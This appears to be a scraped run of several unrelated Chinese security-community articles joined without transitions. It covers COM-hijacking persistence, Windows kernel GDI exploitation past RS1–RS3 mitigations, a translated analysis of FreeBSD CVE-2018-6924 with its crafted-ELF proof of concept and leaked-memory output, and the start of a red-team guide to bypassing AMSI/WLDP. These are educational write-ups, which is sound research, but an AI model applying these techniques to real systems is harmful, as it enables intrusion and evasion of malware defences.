foreach ($p in $LocalServer32paths){$p;cmd /c dir $p > $null}
$InprocServer32paths = $inproc | ForEach {$_.InprocServer32}
foreach ($pi in $InprocServer32paths){$pi;cmd /c dir $pi > $null}
COM组件也用来做其他的事比如UAC的绕过等，可以看三好学生的[Use-COM-objects-to-bypass-UAC](https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC)
。或者是使用windows的库文件：[Abusing Windows Library Files for
Persistence](https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/)
。[第一百一十三课：COM%20Hijacking.pdf](https://github.com/Micropoor/Micro8/blob/master/%E7%AC%AC%E4%B8%80%E7%99%BE%E4%B8%80%E5%8D%81%E4%B8%89%E8%AF%BE%EF%BC%9ACOM%20Hijacking.pdf)
## 0x04 总结
还有一些方法就没有介绍了，例如黄金票据和白银票据，修改注册表，GPO的ACL等，本文就只是大致介绍几种方法，没有介绍关于利用安装的应用程序，例如exchange,office等软件这些的权限维持方法，或者关于域下的方法，利用约束性委派，修改DACL的方式等。当然权限维持的目标都是利用白名单，尽量少被记录日志。可以再推荐大家看下hexacorn的[how-to-find-new-persistence-tricks](http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks/)，[beyond-good-ol-run-key-part-32](http://www.hexacorn.com/blog/2015/09/12/beyond-good-ol-run-key-part-32/)，[beyond-good-ol-run-key-part-28](http://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/)。 | 社区文章 |
**作者：[wjllz](https://redogwu.github.io/2018/11/04/windows-kernel-exploit-part-6/ "wjllz")
来源：[先知安全技术社区](https://xz.aliyun.com/t/3430 "先知安全技术社区")**
## 前言
Hello, 欢迎来到`windows-kernel-exploit`第六篇, 这是`从windows 7撸到windows 10`的下篇,
这一篇我们主要讨论在`RS1`, `RS2`和`RS3`(RS4和RS5有相应的思路, 我还没有去做验证)的利用 希望您能够喜欢 :)
## 回顾
在上一篇当中, 我们看到了利用`write-what-where`在`windows 7, 8, 8.1 1503`的利用, 是不是感觉有些奇怪.
为什么我们的出的结论是这些操作版本呢. 让我们先来看下如果在上一篇当中利用`bitmap`的思路.
[+] 泄露hmanager bitmap和 hworker bitmap地址
[+] 从而泄露出hmanager bitmap和hworker bitmap的pvScan0地址
[+] 利用write-what-wher将hmanager的pvScan0改为hworker pvScan0的地址.
[+] readOOB:
==> 先对hmanager setbitmapbits使worker得pvScan0变为任意地址
==> 使用hworker getbitmapbits对任意地址进行读操作
[+] writeOOB:
==> 先对hmanager setbitmapbits使worker得pvScan0变为任意地址
==> 使用hworker getbitmapbits对任意地址进行写操作
第一点尤其重要, 我们必须要泄露出`bitmap`才能执行后面的操作. 所以我们来对比`1503`和`1607`来看一下我们前一篇的思路为什么失效了.
## windows RS1的缓解措施
首先, 我们来看一下`windows 1511`的`GdiShreadHandleTable`.
接着我们来看一下在`window 1607`的`GdiShreaddHandleTable`.
我们可以看到在RS1的版本下, `GdiShreadHanldleTable`指向的已经不是一个真正的指针了. 所以我们无法完成后续的操作.
缓解措施(图片来源: blackhat):
## 在windows RS1上面实现利用
### 泄露bitmap地址
So, 众所周知, 有防范就一定有绕过. 我们先来看分代码.
这是它的运行结果:
先不管三七二十一, 是不是兴奋的想擦鼻血. 那种`FFF`开头的, 总感觉有什么东西的内核地址被泄露了. 有内核泄露就很舒服. 让我们看看他是怎么泄露的.
#### gSharedInfo
调试器里面我们获取到了`gSharedinfo`. 他有什么用呢.
标黄的指向`ahelist`, 这是一张表. 存放一些与handle关联的信息. 其中的Entry是.
look, 其中指向了该handle的内核地址. 后面的代码计算内核地址我们的第四章的内容一样. 相信你一定可以理解.
#### 如何泄露bitmap
通过这个方法, 我们可以通过句柄去泄露一些对象(user object)的地址. 能够泄露的对象(user object)在微软的官网上只有这些.
你会发现好像和我们的bitmap无关. 真的无关么. 先来看我写的一个小小的`c++`代码.
我把结果dump到一个文件.
其中`CreateAcceleratorTable`是创建一个`pool`, Delete是释放一个`DestroyAcceleratorTable`.
代码做的过程是不断地分配一个pool和不断地释放一个pool.
我们把看到我们dump出来的地址每次都是一样的, 可以看到我们的地址已经稳定了. Bingo!
让我们来看看这个对象的pool 信息. paged pool sesssion. 在第四章中我们总结bitmap的时侯我们的bitmap也是同样的大小.
那么. 如果我们分配同样大小的bitmap. 是不是就能够有机会把bitmap的地址泄露出来呢. 答案是肯定的. 所以有了下面的代码.
验证结果:
但是, 可能比较疑惑, 传入的参数为什么是700. 我的思路是用第四章的思路传入`0x10`, `0x100`, `0x700`. 来验证重用的稳定性,
这里就不再赘述. 而abuse gdi里面的ppt有提到当分配到pool过大的时候, 会降低随机性.
### 泄露基地址
泄露基地址和在第四章不太一样, 原因起源于github的项目我是抱着学习的思路去做的. 所以写代码的过程是`读paper+调试+copy别人代码`,
所以也获取了很多的额外的知识.
利用`NtQuerySystemInformation`可以获取一些关于内核的信息. 重要的是第二个参数.
用数字来标明我们想查找的是有关内核模块的信息. 在[这里](https://github.com/redogwu/study-pdf/blob/master/study-pdf/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf)你可以找到更详细的解释.
## 在windows RS2上面实现利用.
You know, 事情总会越来越难, 在RS2上面的时候, 发生了啥. 让我们运行一下原来我们用于泄露的代码.
可以发现一切都是好好的, 但是就是获取不到内核地址. 于是为了简单. 这是由于上面说的HADNLE_ENRTY结构体的pkernel被微软给禁掉了. 于是,
我们`gShreadInfo`泄露bitmap的地址失效了.
所以前辈们他们又继续开动了他们的脑洞. 用了我在第四章中提到的`tagCLS对象`及`lpszMenuName`.
有兴趣的话你可以顺着第四章的思路和上面做同样的实验进行验证. 由于第四章的找`tagCLS`讲的足够详细了, 在这里我就不再赘述. 详细的你可以在这里找到.
### code
## 在windows RS3上面实现利用
好了, 微软终于意识到了bitmap的pvScan0是一个异常不安全的东西. 于是在RS3上面, 微软做了下面的事.
图片来源(blackhat):
可以看到在RS3版本上面, 微软把`pvScan0`和`pvBits`(如果你仔细的看我以前截的图的话,
你会发现这两个是出奇的一致的)指向的对象放到了`heap`里面.(我曾经做过一个猜想, 上面使用的是pool, 堆喷如果可控的话是不是可以泄露呢.
但是HMvalidate函数在windows rs4版本失去了效果, 我暂时还没有找到其他的方案可以帮我泄露堆来验证这个观点, 所以这里就省去不提).
导致了我们的bitmap技术失效.
Howerver, 事情总是有曙光的, bitmap挂了的话, 我们的思路可以转换为其他的对象.
### platte的闪亮登场
我们先来看个图, 接着再讨论其他的事:
我们可以看到有一个palatte的对象, 含有和`bitmap`类似的结构. 即使在`RS3`的版本上.
借助于此, 我们可以创建一个palatte对象, 我真心的希望是, 您可以映着第四章的思路. 完成自己的实验去探讨`palatte`的分配pool大小关系.
在这里, 我并没有做这个工作, 一方面, 我给姐姐承诺的deadline是今晚. 调试截图会花费我很多的时间, 另外一方面.
`调试器下见真章`是我在绕过了无数弯路之后的最大的收获, 也希望您能够学会他. 后续的利用思路就和bitmap及其的相似,
这里就不再赘述,让我们看`code`.
#### code
## 总结
### 关于项目
bitmap的利用和我当时做DDCTF有关, 我一度陷入微软的各个API里面, 然后我开始陷入了深深的思考. 我自己做的方向是不是做错了.
因为我学习的过程中, 更在乎的是怎么利用. 碰到这个利用觉得哇, 这个思路(??????)??. nice那种, 但是分析呢. 所以我觉得分析的能力我很弱.
于是我当时选择了DDCTF放一放, 就在github上面做了这个项目. 我想保证我在windows 7 到 windows
10的各个版本都有可利用的方法和手段. 借助于阅读`paper`+`调试`+`阅读源码`, 我完成了这个目标. 在做完了这个项目之后,
我后期的好几个利用编写都是直接COPY代码, 然后专注于`WWW`的构造. 所以应该对我的学习帮助还是很大的.
### 关于缓解措施的探讨
缓解措施我不知道自己的结论是否正确, 如果你仔细的推论, 那么你会发现如果你学会了最新的版本的绕过, 那么好像也适用于前面的版本.
是不是前面的那些麻烦的结论就不用学习了呢. 我的结论是, 是的, 作为工业性的开发确实如此. 但是这种思想会有一种小小的问题. 感觉自己在乞食.
比如说现在, `RS4`和`RS5`我自己并没有找到有效的`paper`, 那么我们只能选择等待么. 等待明年的`blackhat`介绍新的方法?
我个人的想法是不是的. 其实比起怎么利用, 我更在意的是, blakhat的原作者是怎么想到这里的. 总结一下绕过思路.
[+] 可以使用bitmap(GDISHAREDHANDLETABLE)
[+] 不可以使用GDISHAREDTABLE
==> 那我换一个gShredInfo
[+] 不可以使用gSharedInfo
==> 那我换一个 fengshui 预判
[+] 不可以使用bitmap
==> 那我换一个palatte
所以你可以看到它的你用思路其实说到底都是思维的逃逸. 如果我们能逃过微软的限制, 那么我们就能开发出新的思路. 但是, 没有旧的思路就没有新的思路,
所以我个人觉得这一部分的学习还是相当重要的.
### 关于RS4和RS5
在`HmValidateHanldle`失去效果之后, 我失去了所有泄露`GDI`对象的思路. 就在前天睡觉的时候, 发现有一种新的思路可能具有可行性,
Howerver, 这几天我一直在准备面试, 所以还没有来得及实验验证他. 在后期的学习道路上,
我会把失败(我觉得失败的可能性比较大)或者成功的结果同步更新到这里, 敬请期待.
## 相关链接
* sakura师父博客: <http://eternalsakura13.com/>
* 小刀师傅博客: <https://xiaodaozhi.com/>
* 滥用GDI: <https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/>
* 我的个人博客: <http://www.redog.me/>
* 我的github地址: <https://github.com/redogwu>
* 本文相关的pdf下载: <https://github.com/redogwu/study-pdf>
* 本文的代码: <https://github.com/redogwu/windows_kernel_exploit>
* * * | 社区文章 |
# CVE-2018-6924：解析FreeBSD ELF 头导致内核内存泄露
|
##### 译文声明
本文是翻译文章，文章原作者 quarkslab，文章来源：blog.quarkslab.com
原文地址：<https://blog.quarkslab.com/cve-2018-6924-freebsd-elf-header-parsing-kernel-memory-disclosure.html>
译文仅供参考，具体内容表达以及含义原文为准。
2018年9月，FreeBSD发布了安全公告 **FreeBSD-SA-18：12** ，修复了影响该操作系统所有版本的内核内存泄露漏洞。
此漏洞（标识为`CVE-2018-6924`）是由FreeBSD内核在执行二进制文件之前解析二进制文件的ELF头时验证不充分引起的，本地非特权用户可以用它泄露内核的内存内容。
## 0x01 介绍
2018年9月12日，FreeBSD发布了安全公告[FreeBSD-SA-18：12](https://www.freebsd.org/security/advisories/FreeBSD-SA-18:12.elf.asc)，修复了CVE-2018-6924，这是由Thomas Barabosch和Mark
Johnston发现的内核内存泄漏漏洞，由内核中错误的ELF头解析引起。如公告中所述，“执行恶意ELF二进制文件可能会导致内核崩溃或泄露内核内存”。有趣的是，所有受支持的FreeBSD版本都受到这个bug的影响，包括版本10,10.4,11,11.1和11.2。
这里提供的分析基于`FreeBSD 11.2-RELEASE x64`，运行`GENERIC`内核。
## 0x02 修复情况
安全公告中包含指向修复的源代码补丁[链接](https://security.FreeBSD.org/patches/SA-18:12/elf.patch)。让我们先来看看它：
--- sys/kern/imgact_elf.c.orig
+++ sys/kern/imgact_elf.c
@@ -839,7 +839,8 @@
break;
case PT_INTERP:
/* Path to interpreter */
- if (phdr[i].p_filesz > MAXPATHLEN) {
+ if (phdr[i].p_filesz < 2 ||
+ phdr[i].p_filesz > MAXPATHLEN) {
uprintf("Invalid PT_INTERPn");
error = ENOEXEC;
goto ret;
@@ -870,6 +871,11 @@
} else {
interp = __DECONST(char *, imgp->image_header) +
phdr[i].p_offset;
+ if (interp[interp_name_len - 1] != '') {
+ uprintf("Invalid PT_INTERPn");
+ error = ENOEXEC;
+ goto ret;
+ }
}
break;
case PT_GNU_STACK:
--- sys/kern/vfs_vnops.c.orig
+++ sys/kern/vfs_vnops.c
@@ -528,6 +528,8 @@
struct vn_io_fault_args args;
int error, lock_flags;
+ if (offset < 0 && vp->v_type != VCHR)
+ return (EINVAL);
auio.uio_iov = &aiov;
auio.uio_iovcnt = 1;
aiov.iov_base = base;
此处有两个修改过的文件：`sys/kern/imgact_elf.c`和`sys/kern/vfs_vnops.c`。sys/kern/imgact_elf.c文件中包含内核用于在执行二进制文件之前解析二进制文件的ELF头的代码，修复后的函数是这样的：
776 static int
777 __CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)
778 {
[...]
因此，影响函数的名称是由`__CONCAT`和`__elfN`宏生成的。[__CONCAT](https://svnweb.freebsd.org/base/release/11.2.0/sys/sys/cdefs.h?revision=335563&view=markup#l143)连接两个参数，而__elfN在[sys/sys/elf_generic.h](https://svnweb.freebsd.org/base/release/11.2.0/sys/sys/elf_generic.h?revision=335563&view=markup#l53)中定义如下：
#define __elfN(x) __CONCAT(__CONCAT(__CONCAT(elf,__ELF_WORD_SIZE),_),x)
因此，函数名`___CONCAT(exec_,
__elfN(imgact))`扩展为`exec_elf32_imgact`或`exec_elf64_imgact`，具体取决于`__ELF_WORD_SIZE`定义为32还是64。但是如果我们检查`sys/kern/`目录，会发现存在名为`imgact_elf32.c`和`imgact_elf64.c`的两个非常小的文件，它们是将`__ELF_WORD_SIZE`定义为正确的大小，包含（include）了`kern/imgact_elf.c`文件，该文件包含易受攻击的函数。因此，内核包含了`sys/kern/imgact_elf.c`中任何函数的两个版本，其名称用_`_elfN`宏构建：一个版本处理32位ELF二进制文件，另一个版本处理64位ELF文件。
`imgact_elf32.c`：
#define __ELF_WORD_SIZE 32
#include <kern/imgact_elf.c>
`imgact_elf64.c`：
#define __ELF_WORD_SIZE 64
#include <kern/imgact_elf.c>
继续观察补丁，很明显问题位于处理ELF文件`PT_INTERP`程序头的代码中：
static int
__CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)
{
[...]
for (i = 0; i < hdr->e_phnum; i++) {
switch (phdr[i].p_type) {
[...]
case PT_INTERP:
/* Path to interpreter */
if (phdr[i].p_filesz > MAXPATHLEN) {
uprintf("Invalid PT_INTERPn");
error = ENOEXEC;
goto ret;
}
[...]
`PT_INTERP`程序头保存了程序解释器的路径名，该类型仅对可执行文件有意义。
`PT_INTERP`程序头引用的可执行文件用作动态链接器，负责为动态链接的可执行文件加载所需的共享库。通常，`FreeBSD`上的程序解释器设置为[/libexec/ld-elf.so.1](https://www.freebsd.org/cgi/man.cgi?query=ld-elf.so)。
作为参考，[这是](https://svnweb.freebsd.org/base/release/11.2.0/sys/sys/elf32.h?revision=335563&view=markup#l102)32位ELF文件`Elf_Phdr`结构的指定版本：
typedef struct {
Elf32_Word p_type; /*输入类型*/
Elf32_Off p_offset; /*文件偏移量 */
Elf32_Addr p_vaddr; /* 内存映像中的虚拟地址. */
Elf32_Addr p_paddr; /* 物理地址（未使用） */
Elf32_Word p_filesz; /* 文件中的内容大小*/
Elf32_Word p_memsz; /* 内存中的内容大小 */
Elf32_Word p_flags; /* 访问权限标志 */
Elf32_Word p_align; /* 内存和文件中的对齐方式 */
} Elf32_Phdr;
易受攻击的老版本仅检查`phdr [i] .p_filesz>
MAXPATHLEN`，即它检查`PT_INTERP`程序头文件中的内容的大小（即解释器路径的长度）是否比`MAXPATHLEN`（1024）大;如果大，该功能很快就会出现`ENOEXEC`错误。
另一方面，修复版本中添加了一个检查：当`phdr [i] .p_filesz
<2`时会报错，即`PT_INTERP`程序头文件中的内容小于2。这表明需要执行一个ELF文件来触发该错误，其文件头要指定一个长度为0或1个字节的非常短的解释器路径。
## 0x03 挖掘历史
一开始我不知道该如何利用具有非常短的解释器路径的`PT_INTERP`程序头的ELF文件，于是我看了一下受影响文件`sys/kern/imgact_elf.c`的[提交历史](https://svnweb.freebsd.org/base/release/11.2.0/sys/kern/imgact_elf.c?view=log)，希望找到一些与伪造解释器路径相关的漏洞,给我一些灵感。
2012年7月19日提交的修订版[238617](https://svnweb.freebsd.org/base?view=revision&revision=238617)中的消息非常有趣：
> Fix several reads beyond the mapped first page of the binary in the
> ELF parser. Specifically, do not allow note reader and interpreter
> path comparision in the brandelf code to read past end of the page.
> This may happen if specially crafter ELF image is activated.
这说明`sys/kern/imgact_elf.c`文件已经受到与解释器路径处理相关的漏洞的影响。具体来说，这个老版本的bug讲述了“特制的ELF镜像(specially
crafted ELF image)”触发“读取二进制文件超出映射第一页的内容(reads beyond the mapped first page of
the binary)”的内容。对我来说，这听起来像是在第一页末尾的那些内存读取可能导致内核内存的泄露，这激发了我的灵感！
## 0x04 建立概念验证
我们发现在版本238617上修复的较旧的漏洞是关于内存“读取二进制文件超出映射第一页的内容”。如果我们要触发读取超过二进制文件第一页末尾的内存，就要让我们的ELF文件适合单个页面（即4096字节），以便读取操作访问我们的ELF文件中超出文件结尾的内存，就有可能实现内存泄露。
为了使ELF文件适合单个页面，我做了一个像这样的小C程序：
int main(int argc, char** argv){
return argc;
}
编译后的程序大小不得超过4096字节。使用`clang`及`-m32`参数生成32位可执行文件，可以轻松地实现这一目标。另外，我使用`clang`的命令行选项`-Oz`（优化代码生成,比-Os生成的代码小）和`-Wl`，`-s`（去除调试和符号信息）让文件尽可能的小。
% clang -Oz -Wl,-s -m32 test.c -o test
最终生成了一个3560字节的32位ELF文件，满足单个内存页面的条件。
现在的问题是：如何设计解释器路径，使内核中的解析代码访问内存中超过二进制文件的第一页（也是唯一一页）的末尾的内容？显然要构造一个`PT_INTERP`程序头，使其中的`p_offset`（解释器路径字符串的文件偏移量）大于4096。但是这并不那么简单，因为`exec_elf32_imgact()`函数会对`p_offset`成员的值进行检查：
840 case PT_INTERP:
[...]
852 interp_name_len = phdr[i].p_filesz;
853 if (phdr[i].p_offset > PAGE_SIZE ||
854 interp_name_len > PAGE_SIZE - phdr[i].p_offset) {
855 VOP_UNLOCK(imgp->vp, 0);
856 interp_buf = malloc(interp_name_len + 1, M_TEMP,
857 M_WAITOK);
858 vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);
859 error = vn_rdwr(UIO_READ, imgp->vp, interp_buf,
860 interp_name_len, phdr[i].p_offset,
861 UIO_SYSSPACE, IO_NODELOCKED, td->td_ucred,
862 NOCRED, NULL, td);
863 if (error != 0) {
864 uprintf("i/o error PT_INTERPn");
865 goto ret;
866 }
867 interp_buf[interp_name_len] = '';
868 interp = interp_buf;
869 } else {
870 interp = __DECONST(char *, imgp->image_header) +
871 phdr[i].p_offset;
872 }
873 break;
如第853行和第854所示，如果解释器路径字符串的文件偏移量位于第一页（`phdr [i] .p_offset>
PAGE_SIZE`）之后，或者解释器路径足够长以使其超出第一页页面（`interp_name_len> PAGE_SIZE - phdr [i]
.p_offset`），将调用`vn_rdwr()`函数，从`interp_buf`缓冲区的`p_offset`偏移量处读取代表ELF文件的[vnode](https://www.freebsd.org/cgi/man.cgi?query=vnode)。我的猜测是，在可执行文件加载过程的早期，只有文件的第一页加载到内存中，因此访问超过第一页一定会触及磁盘。但由于我们的ELF文件小于`PAGE_SIZE`字节，因此`vn_rdwr()`无法读取偏移大于PAGE_SIZE的内容，从而将我们从函数中踢出。（顺便说一下，请注意在`sys/kern/vfs_vnops.c`中定义的`vn_rdwr()`函数是公告包含的补丁中另外修复的函数;补丁另外添加了拒绝向`vnode`提供负偏移量的检查。
相反，如果`p_offset`不大于0x1000并且解释器路径字符串的长度不大于`PAGE_SIZE -phdr[i].p_offset`，程序将进入第869行的else分支，其中`PT_INTERP`的内容程序头被认为是好的，因此`interp`变量将指向`image_header+phdr[i].p_offset`，即解释器路径字符串。
因此，触发漏洞的关键在于：
**我们需要构造一个`PT_INTERP`程序头，其中`p_offset`的值为0x1000，`p_filesz`的值为0**。p_offset的值能绕过第853行的检查，因为它不大于0x1000
;p_filesz的值绕过第854行的检查，因为`interp_name_len(0)`不大于`PAGE_SIZE - phdr[i].p_offset
== 0x1000 - 0x1000 ==
0`。使用这两个特殊值，程序将进入else分支第869行并且`interp`的值将最终指向我们的ELF镜像的0x1000偏移量处，也就是说，正好超过ELF文件开头一页;但由于我们的ELF文件只占用一个内存页面，`interp`会越界，指向我们的ELF文件之后的页面。
补丁的作用现在变得更加清晰：要求解释器的路径至少有2个字节，以避免在这种情况下导致触发漏洞。解释器路径应至少为1个字符再加上其终止符`null`（PT_INTERP的`p_filesz`字段的值必须考虑字符串的结尾的终止符null）。
为了构造正确的PT_INTERP程序头，我将之前编译的测试二进制文件加载到[Kaitai
WebIDE](https://ide.kaitai.io/)中，以便检查其ELF头。可以看到PT_INTERP程序头从0x54偏移处开始。确切地说，我们需要将偏移量为0x58处（`p_offset`，红色突出显示,原始值为0x134）的双字（DWORD）设置为0x1000，将偏移量为0x64的DWORD（`p_filesz`，绿色突出显示，原始值为0x15）设置为0。
## 0x05 泄露内核内存
那么，当`interp`变量越界,指向ELF文件后面的页面上的任何数据的时会发生什么？在`exec_elf32_imgact（）`函数的第1059行，调用`elf32_load_file（）`函数加载解释器，其文件名由interp变量指定。不论`elf32_load_file（）`因任何原因无法加载解释器（例如找不到给定的文件），都会返回错误，并在第1064行调用[uprintf（）](https://www.freebsd.org/cgi/man.cgi?query=uprintf&sektion=9&n=1)函数,将错误消息打印到当前进程的控制端`tty`，包括interp指向的（伪造）解释器文件名：
1036 if (interp != NULL) {
1037 have_interp = FALSE;
[...]
1058 if (!have_interp) {
1059 error = __elfN(load_file)(imgp->proc, interp, &addr,
1060 &imgp->entry_addr, sv->sv_pagesize);
1061 }
1062 vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);
1063 if (error != 0) {
1064 uprintf("ELF interpreter %s not found, error %dn",
1065 interp, error);
1066 goto ret;
1067 }
将interp指向的以null结尾的字符串打印到当前进程的`tty`作为错误消息的一部分使内存泄露成为可能的。
我们可以在`FreeBSD`测试机上多次运行修改过的ELF文件，看看它是如何通过内核产生的错误信息泄漏内核内存的内容的：
francisco@freebsd112:~ % ./poc1
ELF interpreter Ø3¤ not found, error 2
Abort
francisco@freebsd112:~ % ./poc1
ELF interpreter not found, error 2
Abort
francisco@freebsd112:~ % ./poc1
ELF interpreter $ûÿÿl not found, error 2
Abort
francisco@freebsd112:~ % ./poc1
ELF interpreter ^?ELF^A^A^A not found, error 2
Abort
请注意，如果越界内存读取未映射的页面，内核会崩溃。然而，经过几十次测试（包括重新启动以确保在运行中没有特别的内存布局）我从未遇到内核崩溃。
## 0x06 捕获不可打印字符的输出
`uprintf()`函数将伪造的`interp`指针视为指向以null结尾的字符串（％s）的指针，因此将打印相应的字符，直到遇到空字节。
由于打印的字符不一定在可打印范围内，因此捕获包含泄漏的内核数据的错误消息进行`hexdump`可能是个可行的方法。由于`uprintf()`写入当前进程的控制终端`tty`，我们可以使用将打印在终端上的所有内容保存到临时文件中的[脚本工具](https://www.freebsd.org/cgi/man.cgi?query=script&apropos=0&sektion=1&manpath=FreeBSD+12.0-RELEASE&arch=default&format=html)捕获其输出。
下面的代码段显示了利用此漏洞泄露的75字节内核内存的十六进制文件：
francisco@freebsd112:~ % script -q capture1 ./poc1
ELF interpreter ?^[(^[(?^[(?^[(^[(^Z(^Z(^Z(^Z(^[(17^[(5^[(^[(^[(^[( not found, error 2
francisco@freebsd112:~ % hexdump -C capture1
00000000 70 6f 63 31 3a 0d 0a 45 4c 46 20 69 6e 74 65 72 |poc1:..ELF inter|
00000010 70 72 65 74 65 72 20 c5 83 5e 5b 28 cc 83 5e 5b |preter ..^[(..^[|
00000020 28 d4 83 5e 5b 28 dc 83 5e 5b 28 98 83 5e 5b 28 |(..^[(..^[(..^[(|
00000030 d8 d1 5e 5a 28 e2 d1 5e 5a 28 fe e5 5e 5a 28 9c |..^Z(..^Z(..^Z(.|
00000040 bf 5e 5a 28 e3 83 5e 5b 28 31 37 5e 5b 28 35 ba |.^Z(..^[(17^[(5.|
00000050 5e 5b 28 e6 83 5e 5b 28 e9 83 5e 5b 28 f2 83 5e |^[(..^[(..^[(..^|
00000060 5b 28 20 6e 6f 74 20 66 6f 75 6e 64 2c 20 65 72 |[( not found, er|
00000070 72 6f 72 20 32 0d 0a 70 6f 63 31 3a 20 73 69 67 |ror 2..poc1: sig|
00000080 6e 61 6c 20 36 0d 0a |nal 6..|
00000087
## 0x06 结论
这一内核内存泄露漏洞影响了所有受支持的FreeBSD版本;我们的分析所使用的11.2版本分支，已在`FreeBSD
11.2-RELEASE-p3`版本上修复。没有权限的用户可以通过执行`size<0x1000`字节的ELF文件来触发内核中的越界内存访问，该文件包含构造的`PT_INTERP`程序头，字段为`p_offset
== 0x1000`和`p_filesz ==
0`。这将绕过内核处理`PT_INTERP`程序头时完整性检查，使其将ELF文件之后的页面的数据当作解释器路径字符串处理，有效地访问越界内存。
加载伪造的解释器失败后，内核将打印一条错误消息，其中包含无法找到的解释器路径，从而泄漏到用户模式。从ELF之后的页面开头的数据开始到下一个空字节结束，其中的内容都被解释为伪造的解释器路径。
上面显示的测试是在没有任何内核内存修饰的情况下执行的。如果您想获得可预测的内存布局，从而更好地控制通过此漏洞泄漏的内容，则可能需要此类技术。
细心的读者可能已经注意到除了设置`p_offset == 0x1000`和`p_filesz ==
0`之外，实际上有更多的方法来触发错误。例如：ELF文件大小== 0x1000，p_offset = 0xfff，p_filesz ==
1，文件的最后一个字节是非空的（即PT_INTERP指向文件的最后一个字节，解释器字符串缺少空终止符）。实际上，只要引用的解释器字符串位于页面的末尾且不是以null结尾的，`p_offset`和`p_filesz`就可以有其他值。
最后，我想强调根据两种不同的字符串表示来解释相同数据块的危险性：`PT_INTERP`程序头将解释器字符串存储为`指针+长度`表示，而解释器代码将其视为`null
-terminated`，不需要指示字符串长度。解释字符串数据方式的差异对此漏洞有直接影响，因为如果重视`p_filesz`字段中的长度为0的情况，则没有数据会泄漏到用户模式。
## 0x07 致谢
非常感谢Quarkslab的同事们对这篇文章进行校对。 | 社区文章 |
原文地址：<https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/>
## 简介
自从[4.8版本](https://devblogs.microsoft.com/dotnet/announcing-the-net-framework-4-8/ "4.8版本")开始，.NET框架引入了Antimalware Scan Interface（AMSI）和Windows
Lockdown
Policy（WLDP）安全机制，用来阻止潜在的恶意软件从内存运行。WLDP机制会检查动态代码的数字签名，而AMSI机制则会扫描有害或被管理员禁止的软件。在本文中，我们将会为红队队员介绍三种绕过AMSI安全机制的方法，以及一种绕过WLDP安全机制的方法。对于文中介绍的方法，并不要求读者具备AMSI或WLDP方面的专业知识。
## 利用C语言编写的AMSI示例
对于给定的文件路径，可以通过以下函数将打开该文件，将其映射到内存，并使用AMSI机制检查文件内容是否有害或被管理员禁止。
typedef HRESULT (WINAPI *AmsiInitialize_t)(
LPCWSTR appName,
HAMSICONTEXT *amsiContext);
typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result);
typedef void (WINAPI *AmsiUninitialize_t)(
HAMSICONTEXT amsiContext);
BOOL IsMalware(const char *path) {
AmsiInitialize_t _AmsiInitialize;
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiUninitialize_t _AmsiUninitialize;
HAMSICONTEXT ctx;
AMSI_RESULT res;
HMODULE amsi;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD size, high;
BOOL malware = FALSE;
// load amsi library
amsi = LoadLibrary("amsi");
// resolve functions
_AmsiInitialize =
(AmsiInitialize_t)
GetProcAddress(amsi, "AmsiInitialize");
_AmsiScanBuffer =
(AmsiScanBuffer_t)
GetProcAddress(amsi, "AmsiScanBuffer");
_AmsiUninitialize =
(AmsiUninitialize_t)
GetProcAddress(amsi, "AmsiUninitialize");
// return FALSE on failure
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL ||
_AmsiUninitialize == NULL) {
printf("Unable to resolve AMSI functions.\n");
return FALSE;
}
// open file for reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
size = GetFileSize(file, &high);
if(size != 0) {
// create mapping
map = CreateFileMapping(
file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(
map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// scan for malware
hr = _AmsiInitialize(L"AMSI Example", &ctx);
if(hr == S_OK) {
hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
if(hr == S_OK) {
malware = (AmsiResultIsMalware(res) ||
AmsiResultIsBlockedByAdmin(res));
}
_AmsiUninitialize(ctx);
}
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return malware;
}
下面，让我们分别扫描一个正常的文件和一个[恶意](https://github.com/GhostPack/SafetyKatz "恶意")文件。
如果您已经熟悉AMSI的内部机制，可以跳过下面一节的内容，直接阅读相关的绕过方法。
## AMSI的上下文结构
context是一个未有公开文档说明的结构，不过，我们可以通过下面的代码来了解这个返回的句柄。
typedef struct tagHAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware *Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;
## AMSI初始化
appName是一个指向unicode格式的用户定义字符串的指针，而amsiContext则是指向HAMSICONTEXT类型的句柄的一个指针。当成功初始化AMSI的context结构之后，会返回S_OK。虽然以下代码并非完整的函数实现，但对于了解其内部运行机制来说，是非常有帮助的。
HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
_HAMSICONTEXT *ctx;
HRESULT hr;
int nameLen;
IClassFactory *clsFactory = NULL;
// invalid arguments?
if(appName == NULL || amsiContext == NULL) {
return E_INVALIDARG;
}
// allocate memory for context
ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
if(ctx == NULL) {
return E_OUTOFMEMORY;
}
